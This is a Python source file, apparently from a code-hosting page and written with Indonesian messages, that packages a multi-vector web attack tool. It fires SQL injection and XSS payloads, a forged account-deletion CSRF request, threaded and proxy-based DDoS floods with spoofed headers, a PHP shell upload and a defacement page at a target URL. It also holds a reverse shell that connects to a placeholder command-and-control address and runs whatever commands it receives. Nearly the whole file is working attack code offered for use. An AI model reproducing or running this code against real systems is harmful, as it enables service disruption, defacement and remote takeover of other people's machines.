-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathmain2.py
279 lines (242 loc) · 9.44 KB
/
main2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
import random
import string
import logging
import time
import threading
import requests
from fake_useragent import UserAgent
from concurrent.futures import ThreadPoolExecutor
import os
import shutil
import datetime
import base64
import urllib.parse
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import json
import hashlib
import re
from selenium.webdriver.common.by import By
from selenium.webdriver.common.action_chains import ActionChains
import socket
import subprocess
from sklearn.ensemble import RandomForestClassifier
R = '\033[91m'
G = '\033[92m'
Y = '\033[93m'
B = '\033[94m'
M = '\033[95m'
C = '\033[96m'
N = '\033[0m'
logging.basicConfig(filename='log_serangan.txt', level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S')
def load_file(file_name):
try:
with open(file_name, 'r') as file:
return [line.strip() for line in file.readlines()]
except FileNotFoundError:
logging.error(f"File {file_name} tidak ditemukan!")
return []
USER_AGENTS = load_file('user_agents.txt')
PROXIES = load_file('proxies.txt')
def is_valid_url(url):
regex = re.compile(
r'^(?:http|ftp)s?://'
r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.))'
r'(?::\d+)?'
r'(?:/?|[/?]\S+)$', re.IGNORECASE)
return re.match(regex, url) is not None
def get_random_proxy():
return random.choice(PROXIES) if PROXIES else None
def get_random_user_agent():
ua = UserAgent()
return ua.random if USER_AGENTS is None else random.choice(USER_AGENTS)
def random_delay(min_delay=1, max_delay=5):
delay = random.uniform(min_delay, max_delay)
time.sleep(delay)
def create_session():
session = requests.Session()
session.headers.update({
'User-Agent': get_random_user_agent(),
'Referer': ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)),
'X-Forwarded-For': str(random.randint(1, 255)) + '.' + str(random.randint(1, 255)) + '.' + str(random.randint(1, 255)) + '.' + str(random.randint(1, 255)),
})
return session
def send_request(url, session, proxy=None):
try:
response = session.get(url, proxies=proxy, timeout=5)
if response.status_code == 200:
print(f"Permintaan berhasil dikirim ke {url}")
else:
print(f"Permintaan gagal: Status Code {response.status_code}")
return response
except requests.exceptions.RequestException as e:
print(f"Terjadi kesalahan: {e}")
return None
def generate_custom_headers():
return {
'User-Agent': get_random_user_agent(),
'Referer': ''.join(random.choices(string.ascii_lowercase + string.digits, k=10)),
'Accept-Language': random.choice(['en-US', 'id-ID', 'fr-FR']),
'X-Forwarded-For': '.'.join([str(random.randint(1, 255)) for _ in range(4)]),
'X-Requested-With': random.choice(['XMLHttpRequest', 'Fetch']),
'Cache-Control': 'no-cache',
}
def advanced_waf_bypass(url, session):
headers = generate_custom_headers()
try:
response = session.get(url, headers=headers, timeout=5)
if response.status_code == 200:
print("Custom headers berhasil melewati WAF!")
else:
print(f"Gagal melewati WAF dengan custom headers, status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"Gagal dengan custom headers: {e}")
def generate_dynamic_sql_payload():
base_payloads = [
"' OR 1=1 --",
"' UNION SELECT null, username, password FROM users --",
"' OR 'a'='a' --",
"' AND SLEEP(5) --",
"admin' OR '1'='1' --",
"' OR 'a'='a' --"
]
dynamic_payload = random.choice(base_payloads) + ''.join(random.choices(string.ascii_letters + string.digits, k=5))
return dynamic_payload
def advanced_sql_injection(url, session):
payload = generate_dynamic_sql_payload()
send_request(url + "?id=" + payload, session)
def polyglot_xss_payload(url, session):
payload = "<script>alert('XSS')</script><img src=x onerror=alert('XSS')>\" onmouseover=alert(1)"
send_request(url + "?search=" + payload, session)
def csrf_attack(url, session):
csrf_token = 'random_csrf_token'
payload = {'csrf_token': csrf_token, 'action': 'delete_account'}
response = session.post(url, data=payload)
if response.status_code == 200:
print(f"CSRF attack berhasil dikirim ke {url}")
else:
print(f"CSRF attack gagal dengan status code: {response.status_code}")
def flooding_ddos(url, session):
def flood_target():
while True:
spoofed_session = create_session()
send_request(url, spoofed_session)
with ThreadPoolExecutor(max_workers=100) as executor:
for _ in range(100):
executor.submit(flood_target)
def botnet_ddos_attack(url, session):
proxies = load_file('proxies.txt')
for proxy in proxies:
session = create_session()
send_request(url, session, proxy)
def upload_shell(url, session):
files = {'file': ('shell.php', '<?php echo "Shell uploaded"; ?>', 'application/x-php')}
response = session.post(url, files=files)
if response.status_code == 200:
print(f"Shell berhasil diupload ke {url}")
else:
print(f"Gagal upload shell, status code: {response.status_code}")
def deface_payload(url, session, backup_file_path):
if not os.path.exists(backup_file_path):
try:
response = session.get(url)
with open(backup_file_path, 'w') as f:
f.write(response.text)
print("Backup halaman asli berhasil disimpan.")
except requests.exceptions.RequestException as e:
print(f"Error saat menyimpan backup halaman: {e}")
payload = """
<html>
<head>
<title>Website Anda Telah Diuji Keamanan</title>
<style>
body {
background: linear-gradient(45deg, #1E90FF, #00BFFF, #87CEFA);
font-family: Arial, sans-serif;
color: white;
text-align: center;
margin: 0;
padding: 0;
}
h1 {
font-size: 60px;
text-shadow: 2px 2px 5px #00008B;
margin-top: 20%;
}
p {
font-size: 20px;
margin: 20px auto;
width: 70%;
text-shadow: 1px 1px 3px #4682B4;
}
</style>
</head>
<body>
<h1>cyberheroes</h1>
<p>99987773</p>
<p>error</p>
</body>
</html>
"""
data = {"content": payload}
try:
response = session.post(url, data=data)
if response.status_code == 200:
logging.info(f"Deface berhasil dikirim ke {url}")
print(f"{G}Deface berhasil! Periksa URL target.{N}")
else:
print(f"{R}Gagal melakukan deface ke {url}, status code: {response.status_code}{N}")
except requests.exceptions.RequestException as e:
print(f"{R}Error saat melakukan deface: {e}{N}")
def reverse_shell():
server_ip = 'YOUR_C2_SERVER_IP'
server_port = 4444
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((server_ip, server_port))
while True:
command = sock.recv(1024).decode('utf-8')
if command == 'exit':
sock.close()
break
output = subprocess.run(command, shell=True, capture_output=True)
sock.send(output.stdout + output.stderr)
def multi_vector_attack(url, session):
threading.Thread(target=advanced_sql_injection, args=(url, session)).start()
threading.Thread(target=polyglot_xss_payload, args=(url, session)).start()
threading.Thread(target=flooding_ddos, args=(url, session)).start()
threading.Thread(target=botnet_ddos_attack, args=(url, session)).start()
threading.Thread(target=upload_shell, args=(url, session)).start()
def execute_attack(url, attack_type, session, backup_file_path=None):
if attack_type == 'sql_injection':
advanced_sql_injection(url, session)
elif attack_type == 'xss':
polyglot_xss_payload(url, session)
elif attack_type == 'csrf':
csrf_attack(url, session)
elif attack_type == 'ddos':
flooding_ddos(url, session)
elif attack_type == 'botnet':
botnet_ddos_attack(url, session)
elif attack_type == 'upload_shell':
upload_shell(url, session)
elif attack_type == 'deface':
deface_payload(url, session, backup_file_path)
elif attack_type == 'multi_vector':
multi_vector_attack(url, session)
elif attack_type == 'reverse_shell':
reverse_shell()
else:
print(f"{R}Jenis serangan tidak valid!{N}")
if __name__ == "__main__":
url_target = "http://abcd.com" # ganti
session = create_session()
execute_attack(url_target, 'sql_injection', session)
execute_attack(url_target, 'xss', session)
execute_attack(url_target, 'csrf', session)
execute_attack(url_target, 'ddos', session)
execute_attack(url_target, 'botnet', session)
execute_attack(url_target, 'upload_shell', session)
backup_file_path = "backup_page.html"
execute_attack(url_target, 'deface', session, backup_file_path)
execute_attack(url_target, 'multi_vector', session)
execute_attack(url_target, 'reverse_shell', session)